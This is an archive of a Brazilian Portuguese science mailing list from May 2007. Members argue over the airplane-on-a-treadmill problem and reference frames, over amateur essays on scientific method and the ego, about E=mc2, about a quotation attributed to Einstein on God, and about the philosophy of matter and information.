> > From: "José Carlos Antonio" <profjc2003@To:
> <ciencialist@yahoogrupos.com.br>
> > Sent: Tuesday, May 01, 2007 2:57 AM
> > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> entendendo nada
> >
> >
> > Olá José Renato, seguem comentários.
> >
> >
> > --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> > >
> > > Olá, José Carlos! Enfocando a questão dos referenciais...
> > >
> > > A resposta sobre referenciais está no texto anterior, veja:
> > > [ A esteira se move para um lado e o avião para o outro, tanto em
> > > relação ao chão quanto *entre eles* mesmos. ]
> > >
> > > Utilizando como referencial *um ponto sobre a esteira*, esse ponto
> > > pode se mover sim, tanto em relação ao chão, ao avião e em relação
> > > a ela mesma, à sua estrutura.
> >
> >
> > É, parece que você está com problemas para definir seu referencial.
> > Agora parece que você também tem problemas para definir a sua
> esteira. :)
> >
> > Se você chama de esteira a uma superfície sobre a qual está o avião,
> > então a "estrutura" da sua esteira seria na verdade o mecanismo que a
> > move e não a própria esteira. Se esse mecanismo é fixo no solo então o
> > referencial "na estrutura da esteira" é, na verdade, o referencial do
> > chão.
> > De qualquer forma parece que você vai ter que assumir que o
> > referencial sempre foi o chão, não é mesmo? ;)
> > JR - Não é não, JC! Podemos considerar a esteira solta no espaço e
> teremos a
> > relação entre os movimentos - de rolagem da esteira e o do avião -
> do mesmo
> > jeito. Veja que a terra-chão estão em movimentos no espaço, mas por
> que vc
> > acha que não o consideramos? O ar também...
> >
> >
> > Acho que você não tem mais "saídas" José Renato, seu referencial é o
> > mesmo que todos disseram que era: o chão! :)))
> > JR - O chão também é um referencial para a análise da relação entre
> o avião
> > e o ar.
> >
> > Já provamos que nesse referencial (chão) o avião se move no caso
> > descrito no problema e você nãoe stá conseguindo (e nem vai conseguir)
> > escolher outro referencial válido para o enunciado do problema...
> > Então talvez seja hora de admitir que teve uma idéia brilhante, mas
> > que ela não funciona.
> > JR - Vc é quem sabe, JC! Se preferir achar que é isso, em vez de
> pensar um
> > pouco mais e ultrapassar as sutis dificuldades mentais que ainda
> persistem,
> > paramos por aqui.
> >
> >
> > > Veja explicação importante, que consta no e-mail anterior:
> > > [ O referencial *principal* é a interação entre os movimentos da
> > > esteira e do avião.
> >
> >
> > José Renato, "interação entre movimentos" não é referencial e só pode
> > ser analisada "escolhendo-se antes um referencial". Seu curso de
> > física básica foi bem ruinzinho mesmo, ou você matou muitas aulas para
> > paquerar as menininhas. ;)
> > JR - Se vc tivesse feito a prática que indiquei, usando um carrinho de
> > supermercado e uma esteira rolante, vc iria ver a interação de
> movimentos
> > ocorrerem bem na sua frente. Veria vc-turbina empurrando o carrinho
> para um
> > lado sobre o piso da esteira *na mesma velocidade da esteira* e
> veria o
> > piso da esteira se deslocando para o lado contrário. Veria também
> que assim
> > vc estaria praticamente parado em relação ao chão-terra-ar.
> >
> >
> > > O chão é um referencial secundário, que só será utilizado para
> > > analisar o deslocamento do avião - que corre sobre a esteira na
mesma
> > > velocidade em sentido contrário - em relação ao chão e ao ar, para
> > > concluir que não há condições de sustentação para alçar vôo. ]
> >
> >
> > Não existem referenciais "primários" e "secundários". Existem apenas
> > referenciais. Podem ser inerciais ou não-inerciais, mas não podem ser
> > classificados em primários ou secundários porque não se pode saltar de
> > um referencial a outro sem reconsiderar todos os movimentos
> > envolvidos. Esse processo de "saltar de um referencial a outro"
> > chama-se "mudança de referencial" e envolve geralmente mudança no
> > sistema de coordenadas (cartesianas, cilíndricas, polares, esféricas,
> > etc.).
> > JR - Não estou saltando de um referencial para outro, JC. Estou apenas
> > usando os referenciais existentes que atendem as premissas do
> problema...
> >
> > Você entrou numa enrascada. Você é um aluno teimoso, mas eu sou acho
> > que sou um professor bem mais teimoso do que você. :)))
> > JR - Esqueça isso, professor! Não estamos medindo índice de
> teimosia. Volte
> > a ver a questão com empenho e interesse. É fundamental. Não se
preocupe
> > comigo, olhe só o problema, OK?
> >
> > Abraços,
> > JC
> >
> > Abraços
> > José Renato
> >
> > .......................................................
> > >
> > >
> > > From: "José Carlos Antonio" <profjc2003@To:
> > <ciencialist@yahoogrupos.com.br>
> > > Sent: Monday, April 30, 2007 12:04 AM
> > > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> > entendendo nada
> > >
> > >
> > > Olá José Renato,
> > >
> > > Apaguei partes muito antigas ou que não precisam ser comentadas, ok?
> > > Os comentários seguem logo abaixo dos seus.
> >
> > ( apaguei o restante )
>




SUBJECT: Re: E=m.c2
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/05/2007 04:13

--- Em ciencialist@yahoogrupos.com.br, José Carlos Antonio
> Você nunca ouviu falar de semicondutores e "corrente de buracos" pelo
> jeito. :)))

Admirável como alguém q desconhece coisas elementares da área queira
falar algo sobre a natureza disso.

É como um cara q não sabe nem o q é tijolo pedir-nos para confiar a
ele o projeto de construção de uma casa.

[]s,

Roberto Takata



SUBJECT: O Que é Fazer Ciencia? ::: (artigo sobre o método cientifico e o tempo)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/05/2007 08:18

O QUE É FAZER CIÊNCIA? - por Ferrari
http://leisdosempre.blogspot.com

(sobre o método cientifico e o tempo)

Conta a história, que Issac Newton estava dormindo,
quando uma maça caiu sobre sua cabeça. Ele poderia ter
ignorado o incomodo e continuado seu cochilo. Mas não:
eureka! Newton acordou da ignorancia e viu a lei da
gravidade! Se esta história é real ou imaginária, não
importa, ela é perfeita para ilustrar o que significa
"fazer ciência".

>>> Fazer ciência é ver o óbvio.

Fazer ciência é fazer o que Issac Newton fez: ver o
óbvio. Maças caem. Laranjas caem. Xícaras caem.
Meteoros caem. Todas os corpos caem. É óbvio. Não há
nenhuma novidade neste comportamento da natureza.
Estamos cansados de ver coisas caindo, repetidas
vezes, todos os dias, sempre. O que tem de genial em
ver o óbvio?

>>> Óbvio é sempre. (padrão repetitivo).

O genial na visão de Newton não foi ver a maça caindo,
isto ele já estava cansado de ver. O genial na visão
de Newton foi ver que este comportamento (a queda da
maça) era um padrão sempre.

>>> Fazer ciência é ver o sempre (repetição eterna).

Newton não viu a maça caindo, ele viu um fenomeno que
se repetia sempre da mesma maneira: a queda. Depois
viu uma inteligencia natural (lei do sempre)
responsável por fazer aquele fenomeno se repetir
sempre da mesma maneira. Porém, para Newton ver esta
inteligencia natural (lei do sempre), Newton não usou
os mesmos olhos que ele usava para ver as coisas
(fisicas).

>>> Fazer ciência é ver as leis do sempre com os olhos
da lógica.

Maças caem sempre. Laranjas caem sempre. Xícaras caem
sempre. Meteoros caem sempre. Todas os corpos caem
sempre. SE tudo na natureza sempre cai, LOGO, cair é
uma lei eterna na natureza. SE repete Sempre, LOGO,
segue Sempre a mesma regra.

>>> Fazer ciência é imaginar as leis do sempre.

Newton não criou o comportamento repetitivo da
natureza (a queda), mas ele foi o primeiro a imaginar
um raciocínio (teoria) que explica este comportamento.
Esta raciocínio (teoria) que ele imaginou é
popularmente conhecida como "lei da gravidade".

>>> Conhecimento cientifico é um livro de raciocínios
(teorias) sobre o sempre.

Ao raciocinar o fenomeno da queda e imaginar a lei da
gravidade, Newton contribuiu para mais uma página
deste livro de suposições sobre o sempre que chamamos
de conhecimento cientifico.

>>> Conhecimento cientifico é uma tentativa de prever
o futuro.

Se as leis naturais que irão reger o momento futuro
são exatamente as mesmas leis que estavam regendo o
passado --- ou seja, se são mesmo leis eternas --- e
se a forma como raciocinamos estas leis são
equivalentes a realidade --- então, uma teoria
cientifica (regra cientifica) dá ao cérebro o
conhecimento desta lei e, consequentemente, a
capacidade de pré-visão do futuro através da simulação
mental.

>>> A teoria cientifica (regra cientifica) otimiza o
sucesso no objetivo.

Uma teoria cientifica, por ser fruto de muita
experiência, minimiza a possibilidade de erro e
otimiza a possibilidade de acerto dos seus usuários.
Por exemplo, se a regra cientifica diz que chove no
verão e faz frio no inverno, uma pessoa pode usar esta
regra cientifica, por exemplo, para obter sucesso na
agricultura da cana de açúcar.


- - - - - - -


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SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/05/2007 09:55

Caro Ferrari,

Não sou eu que tenho a solução, mas qualquer livro que trate a eletricidade
de uma maneira um pouco mais avançada. Sugiro o capítulo do
Reitz-Milford-Christy ("Fundamentos da Teoria Eletromagnética") que trata da
teoria microscópica da condução, por exemplo.

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Ferrari" <emailferrari@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, May 06, 2007 7:30 AM
Subject: Re: [ciencialist] Re: E=m.c2


> Ola Alvaro!
>
> Alvaro >>> Qualquer professor decente de física sabe
> que eletricidade e elétrons são coisas diferentes.
>
> --- Exatamente! Mas são inseparáveis, não é mesmo? É
> por isto que dou o exemplo do líquedo e do molhado.
> Conhecemos o líquedo (matéria) atraves do molhado
> (atributo), e não o oposto. Aqui estou afirmando que o
> conhecimento (atributo) surgue com a medição
> (observação). Então, estou dizendo que conhecemos o
> elétron (matéria) através da eletricidade (atributo).
> Não medimos (observamos) o eletron, medimos uma
> manifestação, não é mesmo? Não conhecemos o eletron
> através de uma medição (observação) direta, mas
> através da medição de sua manifestação, através da
> eletricidade, Ou seja, o eletron é uma suposição
> baseada na observação da eletricidade, é uma teoria,
> uma maneira de raciocinar o fenomeno, concorda?
>
> --- Sendo assim, o que estou dizendo é que podemos
> raciocinar o fenomeno da relação entre energia e
> matéria, e que está descrito na equação (raciocinio)
> e=mc2, não como "deslocamento da matéria" em C2, mas
> sim como um "pulsar da materia" em C2. É isto!
>
> --- Se voce, ou qualquer pessoa, entender que estou
> errando (equivocado) em propor tal raciocinio para a
> relação entre matéria e energia e para e=mc2, fico
> muito grato em saber porque. Estou debatendo aqui, e
> usando a equação de Einstein justamente porque não sou
> professor de física e estou conversando com os
> professores. Quando tentei falar uma lingua diferente
> desta, fui julgado inconveniente.
>
> Alvaro >>> Você está tentando resolver problemas já
> solucionados há muito tempo.
>
> --- Que bom! Se for assim, ficará mais fácil de
> traduzir minhas observações e raciocinios para a
> linguagem da fisica. Se vc tem a solução e puder me
> ajudar, agradeço.
>



SUBJECT: Re: [ciencialist] A idéia que Einstein fazia de Deus
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/05/2007 10:12

Vitor:

Reservo-me o direito de duvidar que o grande mestre tenha gritado. Não era do seu feitio: era calmo, pacífico, muito humor... Leia suas biografias. Sobre deus, não entro no mérito.

bom dia,

silvio.
3
----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, May 06, 2007 9:53 PM
Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus


Olá,

Einstein gritou: *«A opinião comum de que devo ser ateu repousa sobre grave erro. Quem a
pretende deduzir de minhas teorias científicas não as entendeu. Creio num
Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
ideologia ateia.

Victor: ...Também niguém é perfeito.

Sds,

Victor.

----- Original Message -----
From: Esteban Moreno
To: undisclosed-recipients:
Sent: Sunday, May 06, 2007 8:45 PM
Subject: [ciencialist] A idéia que Einstein fazia de Deus

A idéia que Einstein fazia de Deus
<http://www.ansiao.net/einstein.jpg>

*«A opinião comum de que devo ser ateu repousa sobre grave erro. Quem a
pretende deduzir de minhas teorias científicas não as entendeu. Creio num
Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
ideologia ateia.

Não há oposição entre a ciência e a religião.
Apenas há cientistas atrasados, que professam ideias que datam de 1880.

Aos dezoito anos, eu já considerava as teorias sobre o evolucionismo
mecanicista e casualista como irremediavelmente antiquadas.

No interior do átomo não reinam a harmonia e a regularidade que esses
cientistas costumam pressupor. Nele se depreendem apenas leis prováveis,
formuladas na base de estatísticas reformáveis. Ora, essa indeterminação, no
plano da matéria, abre lugar à intervenção de uma Causa, que produza o
equilíbrio e a harmonia dessas reações dissemelhantes e contraditórias da
matéria.

Há, porém, várias maneiras de se representar Deus. Alguns o representam como
o Deus mecânico, que intervém no mundo para modificar as leis da natureza e
o curso dos acontecimentos. Querem pô-lo ao seu serviço, por meio de
fórmulas mágicas. É o Deus de certos primitivos, antigos ou modernos. Outros
o representam como o Deus jurídico, legislador e agente policial da
moralidade, que impõe o medo e estabelece distâncias. Outros, enfim, como o
Deus interior, que dirige por dentro todas as coisas e que se revela aos
homens no mais íntimo da consciêncía.
-
A mais bela e profunda emoção que se pode experimentar é a sensação do
místico. Este é o semeador da verdadeira ciência. Aquele a quem seja
estranha tal sensação, aquele que não mais possa sonhar e ser empolgado pelo
encantamento, não passa, em verdade, de um morto.

Saber que realmente existe aquilo que é impenetrável a nós, e que se
manifesta como a mais alta das sabedorias; a mais radiosa das belezas, que
as nossas faculdades embotadas só podem entender em suas formas mais
primitivas: esse conhecimento, esse sentimento, está no centro mesmo da
verdadeira religiosidade.

A experiência cósmica religiosa é a mais forte e a mais nobre fonte de
pesquisa científica. Minha religião consiste em humilde admiração do
espírito superior e ilimitado que se revela nos menores detalhes que podemos
perceber em nossos espíritos frágeis e incertos. Essa convicção,
profundamente emocional na presença de um poder racionalmente superior, que
se revela* no* incompreensível, é a ideia que faço de Deus».*

[As partes desta mensagem que não continham texto foram removidas]

[As partes desta mensagem que não continham texto foram removidas]






------------------------------------------------------------------------------


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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Material, imaterial e amaterial/Era Re: E=m.c2
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/05/2007 10:34

"No meio do caminho tinha uma pedra
tinha uma pedra no meio do caminho
tinha uma pedra
no meio do caminho tinha uma pedra.
Nunca me esquecerei desse acontecimento
na vida de minhas retinas tão fatigadas.
Nunca me esquecerei que no meio do caminho
tinha uma pedra
tinha uma pedra no meio do caminho
no meio do caminho tinha uma pedra."
(Carlos Drummond de Andrade)

Quem existe pra quem, entre o caminho, a pedra e a
pessoa???
Algo existe porque pode passar informação???
Informação não poderia ser apenas interpretação???

Lá vem idealismo versus realismo.....

Complexos Amplexos.

--- Manuel Bulcão <manuelbulcao@uol.com.br> escreveu:

> Ois,
>
> Ferrari: Estou defendendo que a matéria é o meio
> pelo qual a energia
> se propaga em ondas.
>
> Manuel: Primeiro, vamos esclarecer a questão: a
> Matéria, do ponto de
> vista filosófico (que não se confunde com a ótica da
> Física, que
> estabelece uma diferença entre matéria e energia) é
> tão-somente o
> conceito que designa a realidade objetiva que se
> contrapõe ao
> Sujeito, à Consciência. "Materialista" é quem
> defende que essa
> realidade objetiva é anterior a qualquer forma de
> consciência, que
> subsiste independentemente dela e que deu origem a
> ela (i.e., à
> consciência). Ponto final (este conceito filosófico
> de Matéria
> abrange a matéria comum, a matéria escura, os fótons
> - que não
> possuem massa de repouso - os supostos fotinos, os
> gravitinos, bósons
> de Higgs etc.)
>
> Agora, vamos complicar um pouco a questão: o
> conceito de "informação"
> tornou o debate entre materialistas e idealistas um
> problema (quase)
> irresolúvel. Pois a informação é um "significado"
> que se transmite e
> se traduz por meio de uma infinidade de
> "significantes" - ou meios -
> materiais. Com efeito, a idéia de "casa", por
> exemplo, pode se
> manifestar, materialmente, sob uma forma acústica,
> pictórica,
> gráfica, por meio de pulsos eletroquímicos (em nosso
> cérebro),
> eletrônicos (em nosso PC caseiro) ou positroquímicos
> - supondo a
> existência de galáxias constituídas inteiramente de
> antimatéria -; e
> até na forma de fluxos hidráulicos (um computador
> cujos bits são
> jorros d'água em vez de pulsos elétricos é algo
> perfeitamente
> concebível).
>
> Significa dizer que a informação, se não é
> imaterial, certamente
> consiste em algo amaterial. Não vou penetrar no
> âmago da questão, até
> porque meu parco conhecimento não permite. Só lembro
> que há muitos
> matemáticos - entre os quais Gödel e Penrose - que
> sustentam a
> anterioridade da razão matemática em relação à
> matéria/energia, tese
> esta responsável pela sobvrevida e oxigenação das
> últimas formas de
> idealismo "objetivo".
>
> Abraços,
> Manuel Bulcão
>
>


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: [ciencialist] Material, imaterial e amaterial/Era Re: E=m.c2
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/05/2007 10:35

Manuel voce tem referencias sobre a interpretação da
informação sobre esse enfoque???

--- Manuel Bulcão <manuelbulcao@uol.com.br> escreveu:
> porque meu parco conhecimento não permite. Só lembro
> que há muitos
> matemáticos - entre os quais Gödel e Penrose - que
> sustentam a
> anterioridade da razão matemática em relação à
> matéria/energia, tese
> esta responsável pela sobvrevida e oxigenação das
> últimas formas de
> idealismo "objetivo".
>
> Abraços,
> Manuel Bulcão
>
>


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
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SUBJECT: Células-tronco]
FROM: Itabajara Vaz - UFRGS <ita@cbiot.ufrgs.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/05/2007 11:17

Ola,
Acho que esta petição tem tudo a ver com a nossa lista.
ita

A Comunidade científica está organizando um petição a ser entregue aos membros
do Superior Tribunal Federal. No endereço abaixo pode ser encontrado o texto e
instruções para adesão.


http://www.petitiononline.com/mod_perl/signed.cgi?pesqcel&1


--

Itabajara da Silva Vaz Junior
Centro de Biotecnologia - UFRGS
C.P. 15005
Av. Bento Goncalves 9500
Predio 43421 - Campus do Vale
91501-970 Porto Alegre RS Brasil
Fone (51) 33086078 Fax (51)3308-73-09 [00 55 51 3308 7309]
http://www.ufrgs.br/depbiot/201/cbt201.htm
http://www.ufrgs.br/favet/imunovet



SUBJECT: Ego Humano ::: (artigo sobre interface mental)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/05/2007 11:32

O EGO HUMANO - por Ferrari
http://egogame.blogspot.com

(sobre interface mental)

Imagine que você acabou de sair do serviço e está
voltando para casa. Ponha sua visão de extraterrestre
e observe seu comportamento.

Você anda por dezenas de ruas, faz conversões a
direita e a esquerda até que chega em sua casa. Muito
bem, agora que chegou, me responda (com sua visão
extraterrestre): como você sabia quais ruas tinha que
seguir e quais conversões tinha que fazer se não
haviam placas na rua indicado “minha casa”?

Percebe que existe um mapa mental da cidade dentro da
sua cabeça? Percebe que dentro deste mapa existe um
monte de setas indicando o caminho “certo” para você
chegar na sua casa? Imagine se este mapa mental não
existisse, como você conseguiria chegar até sua casa?
Você não conseguiria, não é mesmo?

Outro exemplo. Vamos supor que você tenha a intenção
de coçar o nariz. Ponha sua visão de extraterrestre e
observe seu comportamento. Primeiro você desloca a mão
até o nariz. Depois começa a mover os dedos pra cima e
pra baixo. Me responda enquanto move os dedos pra cima
e pra baixo: como é que você sabe que é assim que se
coça o nariz?

Pense no seu comportamento quando vai acender a luz.
Você olha pro interruptor, levanta o braço, estica o
dedo, aperta o interruptor e... sucesso: a luz acende!
Me responda (com sua visão extraterrestre): como sabe
tudo isto?

Existe uma frase metafórica criada pela psicologia que
diz assim: “O mapa não é o território”. O que
significa isto? Significa que assim como um mapa
(desses rodoviários) é uma construção cartográfica do
território, assim também é o conhecimento humano: uma
construção mental da realidade. Ou seja, assim como
não vemos a internet diretamente com os olhos, mas
através de uma interface eletrônica chamada windows,
também não vemos diretamente a realidade, mas através
de uma interface mental chamada ego (raciocínio).

É comum termos a certeza ingênua e falsa de que os
sentidos humanos nós oferecem uma visão direta da
realidade. Não é verdade. Só conhecemos a realidade
através do raciocínio. É fácil compreender isto.
Basta, por exemplo, você se dar conta de que este
monitor de computador na sua frente não está dentro da
sua cabeça. E o que está dentro da sua cabeça? O que é
isto que você está conhecendo? É uma re-criação do seu
cérebro, é um mapa mental (raciocínio).

É como se o cérebro fosse uma câmera de vídeo. Uma
câmera de vídeo está em contato direto com a realidade
e capta o movimento da realidade, porém, quanto mais
ela capta o movimento da realidade mais ela transforma
a realidade em imagem de vídeo. O cérebro faz a mesma
coisa. O cérebro está em contato direto com a
realidade e capta o movimento da realidade, porém,
quanto mais ele capta, mais ele a transforma em
raciocínio.

A memorização dos raciocínios é o ego. Sem um ego,
você seria totalmente incapaz de conhecer a realidade
e, conseqüentemente, seria incapaz também de acender a
luz, coçar o nariz ou voltar pra casa depois do
trabalho. Para comprovar esta realidade basta observar
a completa inabilidade dos nenéns para fazer qualquer
coisa.

Sem um ego humano você seria mesmo um extraterrestre.

- - - - - - -


QUER MAIS? TEM AQUI:
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SUBJECT: Godel e a Relatividade(Era: Material, imaterial e amaterial)
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/05/2007 12:22

E por falar em Godel e idealismo, segue um link de um
artigo sobre a contribuição de Godel para a
cosmologia, coisa que pouca gente sabe:

http://www.scielo.br/scielo.php?script=sci_arttext&pid=S0102-47442006000400016&lng=en&nrm=iso&tlng=en

Amplexos COmplexos.

"O Binômio de Newton é tão belo como a Vênus de Milo.
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SUBJECT: Re: [ciencialist] Material, imaterial e amaterial/Era Re: E=m.c2
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/05/2007 12:27

Chicão,

Imagine que você seja a pedra do meio do caminho. E a 10 metros surge
um doido num carro em velocidade. Então, entre você e o carro existe
uma distância. Você precisa de mais alguma coisa, como interpretação,
saber se existe ou não algo para passar informação, para sair da frente na "toda", como
quem vai alí e já volta? Vai nessa de filosofar, e não sai da frente! Fica ai decidindo se
"Quem existe pra quem, entre o caminho, a pedra e a
pessoa", e verás o que é bom prá tosse.
Bem, vou aproveitar para dizer uma asneira para muitos, exceto para mim. Esse poema de
Drumond poderia muito bem nunca ter sido escrito. É ridículo, e as frases além da primeira
não mostram a genialidade do poeta. Acho que ele está é gozando com todo mundo!
Eu poderia escrever algumas páginas só com o pretenso significado da metade da primeira
frase, com interpretações diferentes. O resto é uma repetição cansativa e abusada.
Pronto. Já vestí a couraça, podem descer a madeira, agora.

Sds,
Victor.


----- Original Message -----
From: Chicao Valadares
To: ciencialist@yahoogrupos.com.br
Sent: Monday, May 07, 2007 10:34 AM
Subject: Re: [ciencialist] Material, imaterial e amaterial/Era Re: E=m.c2


"No meio do caminho tinha uma pedra
tinha uma pedra no meio do caminho
tinha uma pedra
no meio do caminho tinha uma pedra.
Nunca me esquecerei desse acontecimento
na vida de minhas retinas tão fatigadas.
Nunca me esquecerei que no meio do caminho
tinha uma pedra
tinha uma pedra no meio do caminho
no meio do caminho tinha uma pedra."
(Carlos Drummond de Andrade)

Quem existe pra quem, entre o caminho, a pedra e a
pessoa???
Algo existe porque pode passar informação???
Informação não poderia ser apenas interpretação???

Lá vem idealismo versus realismo.....

Complexos Amplexos.

--- Manuel Bulcão <manuelbulcao@uol.com.br> escreveu:

> Ois,
>
> Ferrari: Estou defendendo que a matéria é o meio
> pelo qual a energia
> se propaga em ondas.
>
> Manuel: Primeiro, vamos esclarecer a questão: a
> Matéria, do ponto de
> vista filosófico (que não se confunde com a ótica da
> Física, que
> estabelece uma diferença entre matéria e energia) é
> tão-somente o
> conceito que designa a realidade objetiva que se
> contrapõe ao
> Sujeito, à Consciência. "Materialista" é quem
> defende que essa
> realidade objetiva é anterior a qualquer forma de
> consciência, que
> subsiste independentemente dela e que deu origem a
> ela (i.e., à
> consciência). Ponto final (este conceito filosófico
> de Matéria
> abrange a matéria comum, a matéria escura, os fótons
> - que não
> possuem massa de repouso - os supostos fotinos, os
> gravitinos, bósons
> de Higgs etc.)
>
> Agora, vamos complicar um pouco a questão: o
> conceito de "informação"
> tornou o debate entre materialistas e idealistas um
> problema (quase)
> irresolúvel. Pois a informação é um "significado"
> que se transmite e
> se traduz por meio de uma infinidade de
> "significantes" - ou meios -
> materiais. Com efeito, a idéia de "casa", por
> exemplo, pode se
> manifestar, materialmente, sob uma forma acústica,
> pictórica,
> gráfica, por meio de pulsos eletroquímicos (em nosso
> cérebro),
> eletrônicos (em nosso PC caseiro) ou positroquímicos
> - supondo a
> existência de galáxias constituídas inteiramente de
> antimatéria -; e
> até na forma de fluxos hidráulicos (um computador
> cujos bits são
> jorros d'água em vez de pulsos elétricos é algo
> perfeitamente
> concebível).
>
> Significa dizer que a informação, se não é
> imaterial, certamente
> consiste em algo amaterial. Não vou penetrar no
> âmago da questão, até
> porque meu parco conhecimento não permite. Só lembro
> que há muitos
> matemáticos - entre os quais Gödel e Penrose - que
> sustentam a
> anterioridade da razão matemática em relação à
> matéria/energia, tese
> esta responsável pela sobvrevida e oxigenação das
> últimas formas de
> idealismo "objetivo".
>
> Abraços,
> Manuel Bulcão
>
>

"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Ego Humano ::: (artigo sobre interface mental)
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/05/2007 13:10

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> O EGO HUMANO - por Ferrari
> Percebe que existe um mapa mental da cidade dentro da
> sua cabeça? Percebe que dentro deste mapa existe um
> monte de setas indicando o caminho "certo" para você
> chegar na sua casa?

Não é bem assim. O q existem são *pontos de referência* e/ou *trajetos
relativos* - raramente alguém decora todo o trajeto até em casa. Tto é
q as pessoas em geral apresentam dificuldades para indicar o caminho.

No caso de pontos de referência, seguimos reto em uma rua até
encontrarmos uma marco: a farmácia da esquina, o edifício em estilo
art decô, uma placa escrito "Av. Pereira Silva"... aí mudamos o
percurso e seguimos até encontrar outro ponto de referência. Ignoramos
completamente o q se passa entre esses pontos.

No caso de trajetos relativos, a partir do ponto de partida caminhamos
em direção dada ttos quilômetros ou ttas quadras e aí mudamos de
direção e andamos mais outros quilômetros ou outras quadras.

Isso se chama de navegação.

> Me responda enquanto move os dedos pra cima
> e pra baixo: como é que você sabe que é assim que se
> coça o nariz?

O coçar é instintivo.

> Pense no seu comportamento quando vai acender a luz.
> Você olha pro interruptor, levanta o braço, estica o
> dedo, aperta o interruptor e... sucesso: a luz acende!
> Me responda (com sua visão extraterrestre): como sabe
> tudo isto?

Comportamento automatizado aprendido.

> Só conhecemos a realidade através do raciocínio.

Não é verdade. A realidade no nível q vc está falando - ser capaz de
ligar o computador, coçar o nariz, voltar pra casa - pode não envolver
raciocínio algum. Pombos voltam pra casa, tartarugas voltam pra casa,
cães se coçam...

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Para o José Renato - Re: E=m.c2
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/05/2007 13:14

Olá, professor!
Eu continuo tentando aprender e exercitando tudo isso que vc indica, tenha
paciência. Um dia ainda aprendo e agir corretamente, límpido e verdadeiro
como você indica.
Faço alguns reparos no seu texto abaixo, após JR -.
...............................................
From: "José Carlos Antonio" <profjc2003@
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, May 06, 2007 1:57 AM
Subject: [ciencialist] Para o José Renato - Re: E=m.c2


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Caro, José Carlos!
> O que é que vc quer que eu aprenda?
> []s
> José Renato

Já que você perguntou... Lá vai:

1 - Que "estar certo" não significa ser capaz de prolongar uma
discussão "ad infinitum", e seja lá por quais recursos forem, para
nunca ter que admitir que uma vez esteve errado;
JR - Este aprendizado já está assimilado. O que não posso é deixar vc e mais
alguns listeiros na ignorância. E pior, ensinando errado aos jovens
inocentes sob sua prepotência e presunção de que sabem tudo melhor do que
eu. Enquanto tiver na lista alguém interessado, mesmo que apenas para tentar
enrolar para se sair bem de mansinho ou embaralhar o jogo para não ficar
mal, estou pronto para continuar.

2 - Que errar e aprender não é feio em nenhuma idade, mas muito pelo
contrário, que é bom poder reconhecer que se é capaz de melhorar
sempre, até mesmo quando se imagina que se sabe tudo;
JR - Que bom que vc também sabe disso. Assim não terá dificuldades em
assumir que não considerou corretamente o enunciado do problema do avião e a
esteira rolante.

3 - Que discussões só são frutíferas quando se tem algo para discutir
e que mantê-las sem perder o foco é fundamental se pretendemos ter
alguma produtividade nelas;
JR - Manter o foco é fundamental. Tenho insistido isso com vc que facilmente
se desconcentra, preferindo partir para uma brincadeira bem humorada, tola
ou sarcástica.

4 - Que nem todos que freqüentam essa lista estão aqui para "jogar e
ganhar com as palavras" e, por isso mesmo, dedicam-se muitas vezes a
dar explicações técnicas que você não encontraria facilmente no
"Google", mas não para que os "consulentes", como diz o Prof. Léo,
sintam-se ridicularizados por terem suas respostas, e sim para tenham
as respostas que pediram;
JR - Isso já percebi.

5 - E, principalmente, que no mundo há muitas pessoas que têm um
desejo real de aprender, que não têm vergonha de estarem erradas, que
não se sentem humilhadas quando cometem gafes e que gostariam muito de
ter à disposição as oportunidades que você e outros da lista têm e
que, no meu ver, desperdiçam.
JR - Isso também tenho em consideração e já pratiquei várias vezes aqui na
lista. A mais demorada foi sobre um problema de probabilidade que um
paciente listeiro pelejou para eu entender a lógica da questão e teve
sucesso.

Agora me diga você: o que você aprendeu nessa lista desde o dia em que
entrou aqui?
JR - Muitas coisas... E continuo aprendendo. Vc pode até não perceber o
quanto, mas é muito. Takata e Bulcão são pacientes em tentar esclarecer
minhas dúvidas e dificuldades.

Abraços,
JC

[]s
José Renato
..................................................



